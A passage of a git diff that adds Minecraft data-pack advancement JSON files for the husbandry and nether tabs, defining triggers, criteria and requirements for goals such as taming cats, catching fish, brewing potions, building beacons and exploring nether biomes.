"minecraft:textures/entity/cat/ragdoll.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/white.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/white.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/jellie.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/jellie.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/all_black.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/all_black.png" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "textures/entity/cat/tabby.png" + ], + [ + "textures/entity/cat/black.png" + ], + [ + "textures/entity/cat/red.png" + ], + [ + "textures/entity/cat/siamese.png" + ], + [ + "textures/entity/cat/british_shorthair.png" + ], + [ + "textures/entity/cat/calico.png" + ], + [ + "textures/entity/cat/persian.png" + ], + [ + "textures/entity/cat/ragdoll.png" + ], + [ + "textures/entity/cat/white.png" + ], + [ + "textures/entity/cat/jellie.png" + ], + [ + "textures/entity/cat/all_black.png" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/fishy_business.json b/src/data/minecraft/advancements/husbandry/fishy_business.json new file mode 100644 index 00000000..556b0657 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/fishy_business.json @@ -0,0 +1,61 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:fishing_rod", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.husbandry.fishy_business.title" + }, + "description": { + "translate": "advancements.husbandry.fishy_business.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "cod": { + "trigger": "minecraft:fishing_rod_hooked", + "conditions": { + "item": { + "item": "minecraft:cod" + } + } + }, + "tropical_fish": { + "trigger": "minecraft:fishing_rod_hooked", + "conditions": { + "item": { + "item": "minecraft:tropical_fish" + } + } + }, + "pufferfish": { + "trigger": "minecraft:fishing_rod_hooked", + "conditions": { + "item": { + "item": "minecraft:pufferfish" + } + } + }, + "salmon": { + "trigger": "minecraft:fishing_rod_hooked", + "conditions": { + "item": { + "item": "minecraft:salmon" + } + } + } + }, + "requirements": [ + [ + "cod", + "tropical_fish", + "pufferfish", + "salmon" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/obtain_netherite_hoe.json b/src/data/minecraft/advancements/husbandry/obtain_netherite_hoe.json new file mode 100644 index 00000000..27de5ed2 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/obtain_netherite_hoe.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:husbandry/plant_seed", + "display": { + "icon": { + "item": "minecraft:netherite_hoe", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.husbandry.netherite_hoe.title" + }, + "description": { + "translate": "advancements.husbandry.netherite_hoe.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "netherite_hoe": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_hoe" + } + ] + } + } + }, + "requirements": [ + [ + "netherite_hoe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/plant_seed.json b/src/data/minecraft/advancements/husbandry/plant_seed.json new file mode 100644 index 00000000..e471002f --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/plant_seed.json @@ -0,0 +1,59 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:wheat" + }, + "title": { + "translate": "advancements.husbandry.plant_seed.title" + }, + "description": { + "translate": "advancements.husbandry.plant_seed.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "wheat": { + "trigger": "minecraft:placed_block", + "conditions": { + "block": "minecraft:wheat" + } + }, + "pumpkin_stem": { + "trigger": "minecraft:placed_block", + "conditions": { + "block": "minecraft:pumpkin_stem" + } + }, + "melon_stem": { + "trigger": "minecraft:placed_block", + "conditions": { + "block": "minecraft:melon_stem" + } + }, + "beetroots": { + "trigger": "minecraft:placed_block", + "conditions": { + "block": "minecraft:beetroots" + } + }, + "nether_wart": { + "trigger": "minecraft:placed_block", + "conditions": { + "block": "minecraft:nether_wart" + } + } + }, + "requirements": [ + [ + "wheat", + "pumpkin_stem", + "melon_stem", + "beetroots", + "nether_wart" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/root.json b/src/data/minecraft/advancements/husbandry/root.json new file mode 100644 index 00000000..68bb79a3 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/root.json @@ -0,0 +1,29 @@ +{ + "display": { + "icon": { + "item": "minecraft:hay_block" + }, + "title": { + "translate": "advancements.husbandry.root.title" + }, + "description": { + "translate": "advancements.husbandry.root.description" + }, + "frame": "task", + "show_toast": false, + "announce_to_chat": false, + "hidden": false, + "background": "minecraft:textures/gui/advancements/backgrounds/husbandry.png" + }, + "criteria": { + "consumed_item": { + "trigger": "minecraft:consume_item", + "conditions": {} + } + }, + "requirements": [ + [ + "consumed_item" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/safely_harvest_honey.json b/src/data/minecraft/advancements/husbandry/safely_harvest_honey.json new file mode 100644 index 00000000..e4c48d75 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/safely_harvest_honey.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:honey_bottle" + }, + "title": { + "translate": "advancements.husbandry.safely_harvest_honey.title" + }, + "description": { + "translate": "advancements.husbandry.safely_harvest_honey.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "safely_harvest_honey": { + "trigger": "minecraft:item_used_on_block", + "conditions": { + "location": { + "smokey": true, + "block": { + "tag": "minecraft:beehives" + } + }, + "item": { + "item": "minecraft:glass_bottle" + } + } + } + }, + "requirements": [ + [ + "safely_harvest_honey" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/silk_touch_nest.json b/src/data/minecraft/advancements/husbandry/silk_touch_nest.json new file mode 100644 index 00000000..6f9eae36 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/silk_touch_nest.json @@ -0,0 +1,42 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:bee_nest" + }, + "title": { + "translate": "advancements.husbandry.silk_touch_nest.title" + }, + "description": { + "translate": "advancements.husbandry.silk_touch_nest.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "silk_touch_nest": { + "trigger": "minecraft:bee_nest_destroyed", + "conditions": { + "block": "minecraft:bee_nest", + "item": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + }, + "num_bees_inside": 3 + } + } + }, + "requirements": [ + [ + "silk_touch_nest" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/tactical_fishing.json b/src/data/minecraft/advancements/husbandry/tactical_fishing.json new file mode 100644 index 00000000..74e1f240 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/tactical_fishing.json @@ -0,0 +1,60 @@ +{ + "parent": "minecraft:husbandry/fishy_business", + "display": { + "icon": { + "item": "minecraft:pufferfish_bucket" + }, + "title": { + "translate": "advancements.husbandry.tactical_fishing.title" + }, + "description": { + "translate": "advancements.husbandry.tactical_fishing.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "cod_bucket": { + "trigger": "minecraft:filled_bucket", + "conditions": { + "item": { + "item": "minecraft:cod_bucket" + } + } + }, + "tropical_fish_bucket": { + "trigger": "minecraft:filled_bucket", + "conditions": { + "item": { + "item": "minecraft:tropical_fish_bucket" + } + } + }, + "pufferfish_bucket": { + "trigger": "minecraft:filled_bucket", + "conditions": { + "item": { + "item": "minecraft:pufferfish_bucket" + } + } + }, + "salmon_bucket": { + "trigger": "minecraft:filled_bucket", + "conditions": { + "item": { + "item": "minecraft:salmon_bucket" + } + } + } + }, + "requirements": [ + [ + "cod_bucket", + "tropical_fish_bucket", + "pufferfish_bucket", + "salmon_bucket" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/tame_an_animal.json b/src/data/minecraft/advancements/husbandry/tame_an_animal.json new file mode 100644 index 00000000..1ec028f3 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/tame_an_animal.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:lead" + }, + "title": { + "translate": "advancements.husbandry.tame_an_animal.title" + }, + "description": { + "translate": "advancements.husbandry.tame_an_animal.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "tamed_animal": { + "trigger": "minecraft:tame_animal", + "conditions": {} + } + }, + "requirements": [ + [ + "tamed_animal" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/all_effects.json b/src/data/minecraft/advancements/nether/all_effects.json new file mode 100644 index 00000000..b481765b --- /dev/null +++ b/src/data/minecraft/advancements/nether/all_effects.json @@ -0,0 +1,61 @@ +{ + "parent": "minecraft:nether/all_potions", + "display": { + "icon": { + "item": "minecraft:bucket" + }, + "title": { + "translate": "advancements.nether.all_effects.title" + }, + "description": { + "translate": "advancements.nether.all_effects.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": true + }, + "rewards": { + "experience": 1000 + }, + "criteria": { + "all_effects": { + "trigger": "minecraft:effects_changed", + "conditions": { + "effects": { + "minecraft:speed": {}, + "minecraft:slowness": {}, + "minecraft:strength": {}, + "minecraft:jump_boost": {}, + "minecraft:regeneration": {}, + "minecraft:fire_resistance": {}, + "minecraft:water_breathing": {}, + "minecraft:invisibility": {}, + "minecraft:night_vision": {}, + "minecraft:weakness": {}, + "minecraft:poison": {}, + "minecraft:wither": {}, + "minecraft:haste": {}, + "minecraft:mining_fatigue": {}, + "minecraft:levitation": {}, + "minecraft:glowing": {}, + "minecraft:absorption": {}, + "minecraft:hunger": {}, + "minecraft:nausea": {}, + "minecraft:resistance": {}, + "minecraft:slow_falling": {}, + "minecraft:conduit_power": {}, + "minecraft:dolphins_grace": {}, + "minecraft:blindness": {}, + "minecraft:bad_omen": {}, + "minecraft:hero_of_the_village": {} + } + } + } + }, + "requirements": [ + [ + "all_effects" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/all_potions.json b/src/data/minecraft/advancements/nether/all_potions.json new file mode 100644 index 00000000..caae0a24 --- /dev/null +++ b/src/data/minecraft/advancements/nether/all_potions.json @@ -0,0 +1,48 @@ +{ + "parent": "minecraft:nether/brew_potion", + "display": { + "icon": { + "item": "minecraft:milk_bucket" + }, + "title": { + "translate": "advancements.nether.all_potions.title" + }, + "description": { + "translate": "advancements.nether.all_potions.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "all_effects": { + "trigger": "minecraft:effects_changed", + "conditions": { + "effects": { + "minecraft:speed": {}, + "minecraft:slowness": {}, + "minecraft:strength": {}, + "minecraft:jump_boost": {}, + "minecraft:regeneration": {}, + "minecraft:fire_resistance": {}, + "minecraft:water_breathing": {}, + "minecraft:invisibility": {}, + "minecraft:night_vision": {}, + "minecraft:weakness": {}, + "minecraft:poison": {}, + "minecraft:slow_falling": {}, + "minecraft:resistance": {} + } + } + } + }, + "requirements": [ + [ + "all_effects" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/brew_potion.json b/src/data/minecraft/advancements/nether/brew_potion.json new file mode 100644 index 00000000..15168e6e --- /dev/null +++ b/src/data/minecraft/advancements/nether/brew_potion.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:nether/obtain_blaze_rod", + "display": { + "icon": { + "item": "minecraft:potion" + }, + "title": { + "translate": "advancements.nether.brew_potion.title" + }, + "description": { + "translate": "advancements.nether.brew_potion.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "potion": { + "trigger": "minecraft:brewed_potion", + "conditions": {} + } + }, + "requirements": [ + [ + "potion" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/charge_respawn_anchor.json b/src/data/minecraft/advancements/nether/charge_respawn_anchor.json new file mode 100644 index 00000000..d45d3cec --- /dev/null +++ b/src/data/minecraft/advancements/nether/charge_respawn_anchor.json @@ -0,0 +1,41 @@ +{ + "parent": "minecraft:nether/obtain_crying_obsidian", + "display": { + "icon": { + "item": "minecraft:respawn_anchor" + }, + "title": { + "translate": "advancements.nether.charge_respawn_anchor.title" + }, + "description": { + "translate": "advancements.nether.charge_respawn_anchor.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "charge_respawn_anchor": { + "trigger": "minecraft:item_used_on_block", + "conditions": { + "location": { + "block": { + "block": "minecraft:respawn_anchor", + "state": { + "charges": "4" + } + } + }, + "item": { + "item": "minecraft:glowstone" + } + } + } + }, + "requirements": [ + [ + "charge_respawn_anchor" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/create_beacon.json b/src/data/minecraft/advancements/nether/create_beacon.json new file mode 100644 index 00000000..a4b948ab --- /dev/null +++ b/src/data/minecraft/advancements/nether/create_beacon.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:nether/summon_wither", + "display": { + "icon": { + "item": "minecraft:beacon" + }, + "title": { + "translate": "advancements.nether.create_beacon.title" + }, + "description": { + "translate": "advancements.nether.create_beacon.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "beacon": { + "trigger": "minecraft:construct_beacon", + "conditions": { + "level": { + "min": 1 + } + } + } + }, + "requirements": [ + [ + "beacon" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/create_full_beacon.json b/src/data/minecraft/advancements/nether/create_full_beacon.json new file mode 100644 index 00000000..a4e5ec03 --- /dev/null +++ b/src/data/minecraft/advancements/nether/create_full_beacon.json @@ -0,0 +1,31 @@ +{ + "parent": "minecraft:nether/create_beacon", + "display": { + "icon": { + "item": "minecraft:beacon" + }, + "title": { + "translate": "advancements.nether.create_full_beacon.title" + }, + "description": { + "translate": "advancements.nether.create_full_beacon.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "beacon": { + "trigger": "minecraft:construct_beacon", + "conditions": { + "level": 4 + } + } + }, + "requirements": [ + [ + "beacon" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/distract_piglin.json b/src/data/minecraft/advancements/nether/distract_piglin.json new file mode 100644 index 00000000..41f685d9 --- /dev/null +++ b/src/data/minecraft/advancements/nether/distract_piglin.json @@ -0,0 +1,182 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:gold_ingot" + }, + "title": { + "translate": "advancements.nether.distract_piglin.title" + }, + "description": { + "translate": "advancements.nether.distract_piglin.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "distract_piglin": { + "trigger": "minecraft:thrown_item_picked_up_by_entity", + "conditions": { + "player": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "head": { + "item": "minecraft:golden_helmet" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "chest": { + "item": "minecraft:golden_chestplate" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "legs": { + "item": "minecraft:golden_leggings" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "feet": { + "item": "minecraft:golden_boots" + } + } + }, + "entity": "this" + } + } + ], + "item": { + "tag": "minecraft:piglin_loved" + }, + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin", + "flags": { + "is_baby": false + } + }, + "entity": "this" + } + ] + } + }, + "distract_piglin_directly": { + "trigger": "minecraft:player_interacted_with_entity", + "conditions": { + "player": [ + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "head": { + "item": "minecraft:golden_helmet" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "chest": { + "item": "minecraft:golden_chestplate" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "legs": { + "item": "minecraft:golden_leggings" + } + } + }, + "entity": "this" + } + }, + { + "condition": "minecraft:inverted", + "term": { + "condition": "minecraft:entity_properties", + "predicate": { + "equipment": { + "feet": { + "item": "minecraft:golden_boots" + } + } + }, + "entity": "this" + } + } + ], + "item": { + "item": "minecraft:gold_ingot" + }, + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin", + "flags": { + "is_baby": false + } + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "distract_piglin", + "distract_piglin_directly" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/explore_nether.json b/src/data/minecraft/advancements/nether/explore_nether.json new file mode 100644 index 00000000..dcd6060a --- /dev/null +++ b/src/data/minecraft/advancements/nether/explore_nether.json @@ -0,0 +1,81 @@ +{ + "parent": "minecraft:nether/ride_strider", + "display": { + "icon": { + "item": "minecraft:netherite_boots", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.nether.explore_nether.title" + }, + "description": { + "translate": "advancements.nether.explore_nether.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 500 + }, + "criteria": { + "minecraft:nether_wastes": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:nether_wastes" + } + } + }, + "minecraft:soul_sand_valley": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:soul_sand_valley" + } + } + }, + "minecraft:warped_forest": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:warped_forest" + } + } + }, + "minecraft:crimson_forest": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:crimson_forest" + } + } + }, + "minecraft:basalt_deltas": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:basalt_deltas" + } + } + } + }, + "requirements": [ + [ + "minecraft:nether_wastes" + ], + [ + "minecraft:soul_sand_valley" + ], + [ + "minecraft:warped_forest" + ], + [ + "minecraft:crimson_forest" + ], + [ + "minecraft:basalt_deltas" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/fast_travel.json b/src/data/minecraft/advancements/nether/fast_travel.json new file mode 100644 index 00000000..ab77c357 --- /dev/null +++ b/src/data/minecraft/advancements/nether/fast_travel.json @@ -0,0 +1,38 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:map" + }, + "title": { + "translate": "advancements.nether.fast_travel.title" + }, + "description": { + "translate": "advancements.nether.fast_travel.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "travelled": { + "trigger": "minecraft:nether_travel", + "conditions": { + "distance": { + "horizontal": { + "min": 7000.0 + } + } + } + } + }, + "requirements": [ + [ + "travelled" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/find_bastion.json b/src/data/minecraft/advancements/nether/find_bastion.json new file mode 100644 index 00000000..e9e11b81 --- /dev/null +++ b/src/data/minecraft/advancements/nether/find_bastion.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:polished_blackstone_bricks" + }, + "title": { + "translate": "advancements.nether.find_bastion.title" + }, + "description": { + "translate": "advancements.nether.find_bastion.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "bastion": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "feature": "bastion_remnant" + } + } + } + }, + "requirements": [ + [ + "bastion" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/find_fortress.json b/src/data/minecraft/advancements/nether/find_fortress.json new file mode 100644 index 00000000..85bc7a6b --- /dev/null +++ b/src/data/minecraft/advancements/nether/find_fortress.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:nether_bricks" + }, + "title": { + "translate": "advancements.nether.find_fortress.title" + }, + "description": { + "translate": "advancements.nether.find_fortress.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "fortress": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "feature": "fortress" + } + } + } + }, + "requirements": [ + [ + "fortress" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/get_wither_skull.json b/src/data/minecraft/advancements/nether/get_wither_skull.json new file mode 100644 index 00000000..314dab76 --- /dev/null +++ b/src/data/minecraft/advancements/nether/get_wither_skull.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:nether/find_fortress", + "display": { + "icon": { + "item": "minecraft:wither_skeleton_skull" + }, + "title": { + "translate": "advancements.nether.get_wither_skull.title" + }, + "description": { + "translate": "advancements.nether.get_wither_skull.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "wither_skull": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wither_skeleton_skull" + } + ] + } + } + }, + "requirements": [ + [ + "wither_skull" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/loot_bastion.json b/src/data/minecraft/advancements/nether/loot_bastion.json new file mode 100644 index 00000000..d8c48b60 --- /dev/null +++ b/src/data/minecraft/advancements/nether/loot_bastion.json @@ -0,0 +1,52 @@ +{ + "parent": "minecraft:nether/find_bastion", + "display": { + "icon": { + "item": "minecraft:chest" + }, + "title": { + "translate": "advancements.nether.loot_bastion.title" + }, + "description": { + "translate": "advancements.nether.loot_bastion.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "loot_bastion_other": { + "trigger": "minecraft:player_generates_container_loot", + "conditions": { + "loot_table": "minecraft:chests/bastion_other" + } + }, + "loot_bastion_treasure": { + "trigger": "minecraft:player_generates_container_loot", + "conditions": { + "loot_table": "minecraft:chests/bastion_treasure" + } + }, + "loot_bastion_hoglin_stable": { + "trigger": "minecraft:player_generates_container_loot", + "conditions": { + "loot_table": "minecraft:chests/bastion_hoglin_stable" + } + }, + "loot_bastion_bridge": { + "trigger": "minecraft:player_generates_container_loot", + "conditions": { + "loot_table": "minecraft:chests/bastion_bridge" + } + } + }, + "requirements": [ + [ + "loot_bastion_other", + "loot_bastion_treasure", + "loot_bastion_hoglin_stable", + "loot_bastion_bridge" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/netherite_armor.json b/src/data/minecraft/advancements/nether/netherite_armor.json new file mode 100644 index 00000000..8968dc3b --- /dev/null +++ b/src/data/minecraft/advancements/nether/netherite_armor.json @@ -0,0 +1,48 @@ +{ + "parent": "minecraft:nether/obtain_ancient_debris", + "display": { + "icon": { + "item": "minecraft:netherite_chestplate", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.nether.netherite_armor.title" + }, + "description": { + "translate": "advancements.nether.netherite_armor.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "netherite_armor": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_helmet" + }, + { + "item": "minecraft:netherite_chestplate" + }, + { + "item": "minecraft:netherite_leggings" + }, + { + "item": "minecraft:netherite_boots" + } + ] + } + } + }, + "requirements": [ + [ + "netherite_armor" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/obtain_ancient_debris.json b/src/data/minecraft/advancements/nether/obtain_ancient_debris.json new file mode 100644 index 00000000..f6c76970 --- /dev/null +++ b/src/data/minecraft/advancements/nether/obtain_ancient_debris.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:ancient_debris" + }, + "title": { + "translate": "advancements.nether.obtain_ancient_debris.title" + }, + "description": { + "translate": "advancements.nether.obtain_ancient_debris.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "ancient_debris": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:ancient_debris" + } + ] + } + } + }, + "requirements": [ + [ + "ancient_debris" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/obtain_blaze_rod.json b/src/data/minecraft/advancements/nether/obtain_blaze_rod.json new file mode 100644 index 00000000..928a8628 --- /dev/null +++ b/src/data/minecraft/advancements/nether/obtain_blaze_rod.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:nether/find_fortress", + "display": { + "icon": { + "item": "minecraft:blaze_rod" + }, + "title": { + "translate": "advancements.nether.obtain_blaze_rod.title" + }, + "description": { + "translate": "advancements.nether.obtain_blaze_rod.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "blaze_rod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_rod" + } + ] + } + } + }, + "requirements": [ + [ + "blaze_rod" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/obtain_crying_obsidian.json b/src/data/minecraft/advancements/nether/obtain_crying_obsidian.json new file mode 100644 index 00000000..599da5eb --- /dev/null +++ b/src/data/minecraft/advancements/nether/obtain_crying_obsidian.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:crying_obsidian" + }, + "title": { + "translate": "advancements.nether.obtain_crying_obsidian.title" + }, + "description": { + "translate": "advancements.nether.obtain_crying_obsidian.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "crying_obsidian": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:crying_obsidian" + } + ] + } + } + }, + "requirements": [ + [ + "crying_obsidian" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/return_to_sender.json b/src/data/minecraft/advancements/nether/return_to_sender.json new file mode 100644 index 00000000..f08f7117 --- /dev/null +++ b/src/data/minecraft/advancements/nether/return_to_sender.json @@ -0,0 +1,48 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:fire_charge" + }, + "title": { + "translate": "advancements.nether.return_to_sender.title" + }, + "description": { + "translate": "advancements.nether.return_to_sender.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 50 + }, + "criteria": { + "killed_ghast": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ghast" + }, + "entity": "this" + } + ], + "killing_blow": { + "is_projectile": true, + "direct_entity": { + "type": "minecraft:fireball" + } + } + } + } + }, + "requirements": [ + [ + "killed_ghast" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/ride_strider.json b/src/data/minecraft/advancements/nether/ride_strider.json new file mode 100644 index 00000000..dcc2a83a --- /dev/null +++ b/src/data/minecraft/advancements/nether/ride_strider.json @@ -0,0 +1,45 @@ +{ + "parent": "minecraft:nether/root", + "display": { + "icon": { + "item": "minecraft:warped_fungus_on_a_stick", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.nether.ride_strider.title" + }, + "description": { + "translate": "advancements.nether.ride_strider.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "used_warped_fungus_on_a_stick": { + "trigger": "minecraft:item_durability_changed", + "conditions": { + "player": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "vehicle": { + "type": "minecraft:strider" + } + }, + "entity": "this" + } + ], + "item": { + "item": "minecraft:warped_fungus_on_a_stick" + } + } + } + }, + "requirements": [ + [ + "used_warped_fungus_on_a_stick" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/root.json b/src/data/minecraft/advancements/nether/root.json new file mode 100644 index 00000000..1e5cc280 --- /dev/null +++ b/src/data/minecraft/advancements/nether/root.json @@ -0,0 +1,31 @@ +{ + "display": { + "icon": { + "item": "minecraft:red_nether_bricks" + }, + "title": { + "translate": "advancements.nether.root.title" + }, + "description": { + "translate": 